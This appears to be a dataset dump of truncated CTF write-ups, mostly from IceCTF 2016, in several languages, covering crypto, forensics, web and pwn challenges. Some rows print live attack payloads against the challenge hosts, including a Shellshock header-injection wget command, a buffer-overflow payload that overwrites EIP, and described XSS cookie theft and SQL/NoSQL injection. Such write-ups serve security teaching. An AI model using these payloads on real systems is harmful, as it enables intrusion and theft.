text_chunk
stringlengths
151
703k
#HackCon 2016##Army of Binaries ###DescriptionThe service presents you a random binary every time asking you to get the correct input so as to run the "yes" condition in the binary. The game has 31 rounds. Go fight! nc 52.88.137.165 8000 Operating System: ? Reported Difficulty: Medium ###Connecting to it ```nc 52.88.13...
# Job Portal (200, Web/Exploit) > They pretend to check your letter of application. > I want to proof that they are doing nothing to help you. Get me access to the filesystem! In this task we were given access to service allowing to upload tar files. When uploaded, we could check thetarball contents (file names only) o...
## Orgone Market (Web, 300p) ###ENG[PL](#pl-version) In the task we get a link to a webpage where we can buy some conspiracy-related objects for special orgone coins.However we have 0 coins and those things cost!There is a form on the page to claim free 300 coins, but this is not enough to buy anything on the page. Aft...
# zip (300, coding) > We found a strange zip file. Sadly the content is encrypted. As only criminals encrypt their stuff we need to decrypt this urgently.> Flag format is FLAGB**************S. In this task we got a zip file containing a couple of other small zip files. All of them were encrypted, but their sizewas only...
## Akashic Records (Pwn, 200p) ###ENG[PL](#pl-version) In the task we get a simple Java application to analyse.Most of the application is dedicated to setting up a REST api, however there is an interesting class: ```java// Debug package com.supersecure.rest; import com.supersecure.control.IMainControl;import com.supers...
Challenge has multiple vulnerabilities.There's a format string vulnerability and a stack overflow via memcpy inside the "Show Scoreboard" function.In my exploit I used the stack overflow with no canary and a full ROP since the binary was statically compiled.
Steps to pwn:1. Download binary from server2. Drop binary to disk3. Analyze binary with objdump4. Parse output from objdump to find size of stack frame and offset to input buffer5. Calculate garbage of payload6. Send "cat flag.txt" shellcode to get next stage binary (32 stages)7. Send that in a loop 32 times
Description:    Can you put this puzzle back together?    172.31.0.10/puzzletime_7e4148595c3837b0f14598eb0f21b272The offered file was a gzipped CSV with 48853 lines, of the format:    Value,Right Edge Id,Bottom Edge Id,Left Edge Id,Top Edge Id    0x111811,105686801264,887560873655,312990448974,548925778434    0x384126,...
Steps to pwn:1. Out of bounds array access vulnerability2. Use out of bounds vuln to leak the canary and saved return pointer of main which will give us the load address of __libc_start_main+93. Subtract 9 from leaked return pointer and find the libc version in libc-databases or construct your own leak function by usin...
<span>Challenge : MISC/IoT/Networks 100 pts Approach/Solution :First going through the conversation we realise that someone tried to login, failed </span>2 times but succeeded third time. The login credentials are username : "reds" and password : "ynwa". If we carefully examine output of other commands executed by the ...
# for1 - GoogleCTF First of all i executed `file` after unzipping the archive ```bashfile dump1.raw dump1.raw: ELF 64-bit LSB core file x86-64, version 1 (SYSV) ```With ```bash$ hexdump -C dump1.raw | less00000000 7f 45 4c 46 02 01 00 00 00 00 00 00 00 00 00 00 |.ELF............|00000010 04 00 3e 00 01 00 00 00 00...
### A Strong Feeling > Do you think you could defeat this password checker for us? It's making me real pissed off! `/home/a_strong_feeling/` on the shell or download it [here](./a_strong_feeling_e899e7d22834063c8600846d0b860577785e6d1c2fcabbd61c793db3601286cc) Just use [radare2](https://github.com/radare/radare2), guys...
### ROPi > Ritorno orientata programmazione `nc ropi.vuln.icec.tf 6500` [download file](./ropi_1335922d55bc23ddc49a8c5077723113d5cddf02756ad8231e96058188bfc249) There's a read 0x40 bytes at `0x08048562` when only 0x38 allocated. So it's pretty easy exploitable. Then you need open file and get fd -> read by that fd -> p...
main(a){char f[80];void *fp;fp=fopen("../flag.txt","r");fscanf(fp,"%s",f);printf(a="main(a){char f[80];void *fp;fp=fopen(%c../flag.txt%c,%cr%c);fscanf(fp,%c%cs%c,f);printf(a=%c%s%c,34,34,34,34,34,37,34,34,a,34,f);}\/\/%s.",34,34,34,34,34,37,34,34,a,34,f);}
# Drumpf Hotels (Pwn, 75) In the task description we are given the following info:>Drumpf Hotels - Making security great again! >Donald Drumpf decided to move his hotel operations online. Since he isn't very fond of foreigners coding for him, he dediced to code the platform with his own tiny hands. A little bit info a...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
Hello, I’m h2spiceHere is SECCON 2015 – Unknown 400 – Reverse Engineering Android APK(2) WriteUp .There were two points I considered and put a lot of effort into making a scenarios.The first thing was ,it should be a practical problem that could happen in real world and the other thing was how to make a interesting pro...
#ThorEra um hexdump de um arquivo lzip, bem simples: Primeiro, baixar o arquivo```wget -qO- https://play.icec.tf/problem-static/thor_7101f3b9690d5dc6c3afefa49d82e0526b278ec1c564139369ad22c28721d4cf.txt | cut -f2-9 -d" " | tr -d ' \n' | xxd -r -p > arq```Depois, determinar o tipo do arquivo```$ file arqarq: lzip compres...
#GeocitiesO nome do desafio já indicava que deveria ser uma falha antiga, e logo achamos que a página era vulnerável a shellshockSegue o passo a passo 1) listar os arquivos remotos```wget --header "Referer: () { :; };echo; ls" "http://geocities.vuln.icec.tf" -O- ...log.htmlget_posts.plimgindex.cgi...``` 2) Verificada a...
#Audio Problems:```wget -c https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav -O audio_problems``` Basta abrir o arquivo usando o sonic-visualiser e adicionar o layer de Spectogram, e a flag apareceria nesse layer.IceCTF{y0U_b3t7Er_l15TeN_cL053lY}
<span>We can see a telnet session in the pcap file.The telnet session is a configuration made by an system admin on a remote machine.</span>Login and password of the administrator are :<span>Login : redsPassword : ynwa</span><span>We can see the admin configure ESP protocol on the remote machine :</span><span>src 1.1.1...
We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents. nc diary.vuln.icec.tf 6501
# IceCTF RSA 1### Solved By: Nullp0inter # RSA? Cryptography 50ptsJohn was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt # SolutionWe are provided a file, `flag.txt` which contains three variables for RSA encrypti...
##Static analysisThe executable is packed,no strings no imported functions and no crypto signatures. Dynamic analysisI tried multiple things to solve this challenge :i tried setting break points at USER32.RegisterClass function, the argument of this function has field lpfnWndProc, which is the user function that will b...
# IceCTF Toke### Solution By: Nullp0inter # Description:I have a feeling they were pretty high when they made this [website](toke.vuln.icec.tf)... # Solution When you visit the webpage you are able to do basically two things, register and login. I, along with what I assume is a significant portion of people, thought th...
They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a. Can you get the flag? kitty.vuln.icec.tf
二進数みたいな形式で何かが与えられているのでパースするとフラグがでてきた。    #include <iostream>using namespace std; int main(){    char tmp=0;    int count=0;     while(!cin.eof()){        char t;        cin>>t;         if (t=='0' || t=='1'){            count++;            tmp=(tmp<<1)+(t-'0');             if(count%8==0){                cout<<tmp;      ...
# IceCTF 2016## Solution By: Nullp0inter # IRC 1 Misc 35ptsThere is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667 # Solution: We are told someone is sharing flags on the IRC server and we are asked to find him. All you need todo is log into the IRC (easily done via their web cl...
主催者が用意した Linux 機で、フラッグを表示するためには特定の条件を満たさないといけないバイナリがおいてある(実行ファイルの sticky bit とかでフラグファイルそのものへのアクセスを与えず実行だけできるように工夫してある)。この問題ではそのバイナリのソースもおいてある。この問題では argv[0] が特定の要件をみたさないといけないので、ホームディレクトリに要件を満たすようにシンボリックリンクを張って実行するとフラグが出た。
nc で接続し、そのサーバで実行されたバイナリが渡される pwn。「日記を保存する機能」「最後に保存した日記を表示する機能」がついたバイナリが渡される。見たところ最初に「flag」という関数を読んでおり、ファイルを open して特定のメモリのアドレス(少なくとも objdump で見る限りハードコード)に書き込んでいた。バッファオーバーフローさせるのかと思いきや入力はすべて fgets だった。また、 strchr を呼び出して ‘n’ が含まれているとなぜか「rude!」と表示されて終了する仕様だった。出力を見ると printf だったので、日記の内容を %d とかにするとその時のスタックの一部のデータが出力された。n がブロッ...
## Illuminati (Web, 200p) ###ENG[PL](#pl-version) In the task we get access to a Illuminati recruitment webpage.However the recruitment is closed and we can only send messages to the admin and he might accept us.We could see only our own messages. Our first assumption was that it's some standard XSS attack on the admin...
#Nullp0inter's ropi write up for IceCTF 2016 ##Ropi Pwn 75ptsRitorno orientata programmazione nc.ropi.vuln.icec.tf 6500 ## Write UpIn this challange we are again given a download link for what we find out is a 32-bit ELF executeable binary. The challenge name and hint tell us we will probably be doing rop but beyond th...
エイリアンが書いたようだ、という次の画像が渡された。alien_message_b84f283848b7f34fd4c7529186e66e120b0a374c9d0f2a225b0a7a215716afb5IceCTF{ で始まる部分を見ると二つの C が同じなので、換字暗号のようだし、問題ジャンルも Cryptography になっていたが、確定できる文字が少なくて手がかりがつかめず、そもそもアルファベットらしきものも数えてみると 27 文字もあった。そこで、alien alphabet で画像検索するとそれらしき画像があった。Futurama Alien Alphabet というフォントのようなので、見ながら複合化。
謎の行列みたいなのがおいてある。そのままではどうしようもないので、とりあえず matrix encryption とかで検索すると、 Hill Cipher が出てきて問題名とも合致。というわけで Hill Cipher の Wikipedia の記事を見ながら解く。mod Nでの逆行列の計算に戸惑うが、ウェブ検索した結果見つけた動画(https://www.youtube.com/watch?v=LhBovzm4Ajs )では、普通の逆行列に近い処理をしていた。普通の逆行列は numpy なるツールで計算できそうなので、確認しながら最終的には以下のようなコードに。    #!/usr/bin/python import numpy...
#MatrixO arquivo era um txt contendo o seguinte texto:```0x000000000xff71fefe0x834800820xbb4140ba0xbb6848ba0xbb4a80ba0x832130820xff5556fe0xff5556fe0x00582e000x576fb9be0x707ef09e0xe74b41d60xa82c0f160x27a156900x8c6436280xbfcbf9760x4cd959aa0x2f43d73a0x5462300a0x572901060xb02ace5a0xef53f7fc0xef53f7fc0x00402e360xff01b6a80x8...
現代的なマリファナ工場なるサイトが渡され、ログインすると「FBIによって止められた」とだけ書いてある。Cookie を見てみると jwt という名前がついた Cookie があり、検索すると検証機能付きの URL セーフなエスケープ方式で JWT というのがあった。ということで見つけたオンラインのデバッガに中身を入れると、フラグが出てきた。
RSA で、これまでと違ってとりあえず形式的には正しそうなパラメータが付与された。鍵も2048ビットあった。実は素数のどちらかが小さくて素因数分解できるのでは、と思って奇数で割り続けるプログラムを走らせたところ、予想通りすぐに素因数分解が完了した。というわけで、あとはその結果をもとに Wikipedia とかを見ながら暗号化解除。    #!/usr/bin/python N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec3...
#Time Traveler Bastava consultar o cache da pagina http://time-traveler.icec.tf/ em http://web.archive.orgIceCTF{Th3y'11_n3v4r_f1||d_m4h_fl3g_1n_th3_p45t}
Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers! /home/profit/ on the shell. Note that I made this after the competition had ended using a friends shell account as I didn't do it during the competition with my own credentials. As such he has  peda ...
John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag?
Reversing usually indicates the challenge involves reverse engineering a compiled file (commonly and ELF file). By opening the downloaded file in a basic text editor (notepad, vim, nano, leafpad, etc.) the header indicates it is an ELF file. Google will tell you ELF files are native to Linux (there are no legitimate EL...
# Complacent O desafio era bem simples, a flag estava no certificado SSL do endereço https://complacent.vuln.icec.tf ```greyhound//deadcow ~/fun/icectf/Complacent % openssl s_client -connect complacent.vuln.icec.tf:443 | grep -oE 'IceCTF{.*}'depth=0 C = IS, ST = Kingdom of IceCTF, L = IceCTF city, O = Secret IceCTF Bui...
# Search Outro desafio bem simples, no descritivo ja deixava bem claro de que se tratava de uma entrada TXT no dominio. ```greyhound//deadcow ~/fun/icectf/Search % host -t TXT search.icec.tfsearch.icec.tf descriptive text "IceCTF{flag5_all_0v3r_the_Plac3}"greyhound//deadcow ~/fun/icectf/Search %```
Misc./IoT - 100 pts.Description<span>Category: Misc(iot and network)Points: 100Please analyze this pcap.<span>*file*Decrypt the downloaded file by the following command.> unzip files21.zip> openssl enc -d -aes-256-cbc -k gcCbBJN5pIHiL8JiJ8Xj -in files21.enc -out files21_ok.zip> unzip files21_ok.zip</span></span><span>A...
# Pretty Pixels O desafio consistia em extrair um PNG de dentro de outro PNG defeituoso, utilizei a ferramenta zsteg que procura diversos tipos de esteganografia, neste caso especifico o PNG **extra** estava no LSB do canal RGB ```greyhound//deadcow ~/fun/icectf/pretty_pixels % zsteg -a pretty_pixels.png | grep -i pngb...
# Smashing profit Buffer overflow simples,conseguimos reescrever o EIP após 76 bytes e então apontamos para o endereço da função flag: ```[ctf-99689@icectf-shell-2016 /home/profit]$ ./profit <<< $(python -c 'print "A"76+"\x0b\x85\x04\x08"')Smashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 13172 segment...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# Flag Storage SQL Injection basico, porem existia a trick que, não era possivel inserir comandos SQL no post padrão enviado pelo form, havia a necessidade de se inverter os campos para inserir o SQL e então logar como admin **POST enviado pelo form**```username=admin&password_plain=admin&password=e3b0c44298fc1c149afbf...
# RIP Transmissions O desafio apresentava um binário ELF 64 bits com um arquivo zip dentro dele, extraindo esse zip era ainda necessário descobrir a senha do mesmo, na primeira tentativa utilizando o john-the-ripper conseguimos extrair a flag ```greyhound//deadcow ~/fun/icectf/rip % file riprip: ELF 64-bit LSB executab...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# ImgBlog O desafio apresentava um blog simples, onde era possivel ler os comentarios, se cadastrar e postar comentarios nos posts, em cada comentário havia um botão para reportar caso o comentario fosse ofensivo. Nos comentários era possivel o ataque XSS, conseguimos roubar o cookie do administrador, clicando em repor...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
Complacement-Recon-40 points Hint : These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. url: complacent.vuln.icec.tf By looking at the cert you can see the flag under Organizational Unit Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}
# IceCTF Thor## Solution By: Nullp0inter # Thor's A Hacker Now -Misc- 55ptsThor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? thor.txt # Solution:The challenge gives us a text file that is quite obviously a hex dump of something. The fileis pretty larg...
# ROPi O desafio consistia em explorar um buffer overflow e **pular** entre funções para exibir corretamente, o workflow necessário para isto era, seguindo os nomes das funções: 1. ret (configurava o filedescriptor para flag.txt)2. ori (realizada o read() no fd configurado anteriormente)3. pro (finalmente exibia a flag...
Time Traveler - Forensic - 45 points Hint: I can assure you that the flag was on this website at some point in time. Url: http://time-traveler.icec.tf/ Go to https://archive.org/web/Paste in the url.Visiting the snapshot from 1 June 2016 you will see the flag Flag : IceCTF{Th3y'11_n3v4r_f1|\|d_m4h_fl3g_1n_th3_p45t}
Toke is a web challenge worth 45points Url: http://toke.vuln.icec.tf/Hint: I have a feeling they were pretty high when they made this website... Starting with registring an account with random credentials. While intercepting the get request to /dashboard we see a jwt tokenThe jwt token has the format xxxxxxx.xxxxxxxx...
Spotlight - web - 10 points Hint:Someone turned out the lights and now we can't find anything. Send halp! spotlight Url: http://spotlight.vuln.icec.tf/ Open the debugger in Firefox ( alt + cmd + s)On line 53 you will see a debug msg with the flag Flag: IceCTF{5tup1d_d3v5_w1th_th31r_l095}
# Drumpf Hotels O desafio consistia em explorar uma falha de heap overflow, batemos bastante a cabeça com este desafio pois achavamos se tratar de uma falha double free() porém era bem mais simples, tinhamos que gravar 2 chunks usando as funçoes room e suite e então remover ambos e adicionar uma nova room, com o numer...
Hint: What a mess... we got a raw flag but now what do we do... url: https://play.icec.tf/problem-static/flag_63c24d48595eae318c9a174f37ffb0f128758e5c16fea0ffebf12b0ba5f5b26a.txt This is just ascii that is binary encoded.Go to http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.aspPut in the ...
Vape Nation-Stego-50points Hint: Go Green! vape_nation.pngUrl https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png Used the program http://www.caesum.com/handbook/Stegsolve.jar to solve this challange Just open the file and use the hint "green" so try the...
## Trendyweb (Web, 100p) ###ENG[PL](#pl-version) We get the source for index.php running on server: ```php ``` And information that we need a shell to run a flag reader in `/`. Intially we focused on the obvious unserialize vulnerability, but we could not figure out how to put our payload inside `pickle` file.The only ...
Audio Problems - Forensics - 50 points Hint:We intercepted this audio signal, it sounds like there could be something hidden in it.Can you take a look and see if you can find anything? Url: https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav Download ...
Thor's a hacker now - misc - 55 points Hint: Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? Url: https://play.icec.tf/problem-static/thor_7101f3b9690d5dc6c3afefa49d82e0526b278ec1c564139369ad22c28721d4cf.txt Opening the file it shows that its shoul...
# IceCTF Solutions This page contains some of the challenges I solved during IceCTF '16. ## Reconnaissance & Forensics### Complacement (40 p) ```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]``` ![Complacement](i...
# Blocky Writeup We are provided with [blocky.py](https://github.com/bobacadodl/ctfx-problems/blob/master/crypto/blocky-200/blocky.py) and the encrypted flag. Upon examination of the code, this is a block cipher with a block size of 5. We know that flag starts with 'ctf(', so we can generate 256 possibilities for the ...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
Irc1 - Misc - 35 points There is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667 Just connet to the irc-server/list all channels on the server. Join the "flagshare channel" Topic includes the flag. IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}.
# IceCTF'2016#### Vape Nation#### Stego / 50pts ## DescriptionGo Green! [vape_nation.png](https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png) ![image vape_nation](files/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png) #...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
# IceCTF'2016#### Audio Problems#### Forensics / 50pts ## DescriptionWe intercepted [this audio signal](https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav), it sounds like there could be something hidden in it. Can you take a look and see if you can f...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch...
<span>I realise that:1. They split the big string into 2 small</span>er strings (add a character '\x01' if the length is odd)<span>2. They reversed these 2 strings.3. They split 2 strings into 2*2 = 4 smaler string </span><span>(add a character '\x01' if the length is odd)4. They reversed these 4 strings......Repeat un...
This challenge has two files , pcap file and exe file.#PCAP fileThere are only 2 ips communicating ,and one ip is always the sender.Following the first TCP stream shows one char 'B', the second also shows one char '6'. So using scapy we can extract all these chars from the streams.```from scapy.all import *f = rdpcap(...
# CTFNAME#### RSA#### Cyrptography / 60pts ## DescriptionThis time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. [flag.txt](https://play.icec.tf/problem-static/flag_6c0d309aff5de8e26e20afa39bd736d6bde73440f0de620e3793d4d86e3d33ca.txt) ## Solution First of all: WTF?! Why am ...
データを暗号化してくれるサーバが動いており、鍵とフラグは外部から読み込んでいる。サーバの Python コードが公開されている。コードを見ると、”l33t please” で始まる文字列を渡すと、文字列の末尾にフラグを追加したうえで AES で暗号化して base64 で返してくれる。CBC などは特に使っていないようで、同じ文字列は毎回同じように返ってきた。AES のブロックサイズは 128 ビットなので、16文字ごとに、望むものと一致すればその部分の暗号は同じになる。フラグの i 文字目までがわかっているとき、 “l33t please”に続けて、適当な文字を適宜詰め、そのあとフラグの i 文字目までを埋めて最後のブロックが一文...
# ChainedIn O desafio consistia em realizar um NoSQL injection, o database utilizado era o MongoDB, sabendo disso procurei funções que me fariam logar como administrador, o problema é que não bastava apenas logar como administrador mas sim fazer um datamining na base para conseguir a flag, apesar do pouco conhecimento ...
# Quine II O desafio consistia em criar um [quine](https://en.wikipedia.org/wiki/Quine_(computing)) e enviar para o servidor de forma que a flag fosse exibida: ```greyhound//deadcow ~/fun/icectf/quine2 % cat quine.c | nc quine.vuln.icec.tf 5501Please provide source file (up to 2048 bytes), ending with a dot by itself o...
# Rotated! (Crypto - 20 Points, 1451 solves) > They went and ROTated the flag by 5 and then ROTated it by 8! The scoundrels! Anyway once they were done this was all that was left VprPGS{jnvg_bar_cyhf_1_vf_3?} Solution-------- It's fairly easy to see the hint within "ROTated," that being said lets go right to looking at...
# l33tcrypt (Crypto - 90 pts) > l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? Solution-------- Looking at `server.py`, we see that the server accepts a base64-encoded input:```data = recvline(req).strip()try: data = base64.b64decode(data)``...
# Flagstaff (Crypto - 120 pts) > Someone hid his flag here... guess we better give up. Solution--------Let's look at the server to see what it can do. It accepts four commands, two of which seem interesting:* decrypt: Decrypts the input data.* secret: Accepts an encrypted command and executes it. One of the accepted c...
# Contract (Crypto - 130 pts) > Our contractors stole the flag! They put it on their file server and> challenged us to get it back. Can you do it for us? `nc contract.vuln.icec.tf> 6002` [server.py](server.py). We did intercept someone connecting to the> server though, maybe it will help. [contract.pcapng](contract.pca...
# Search (Misc - 40 Points, 542 solves) > There's something about this domain... [search.icec.tf](http://search.icec.tf/), I don't see anything, but maybe its all about the conTEXT. Solution-------- This challenge had a massive hint, "conTEXT" or more specifically a TXT Record... You can use many tools to look at TXT r...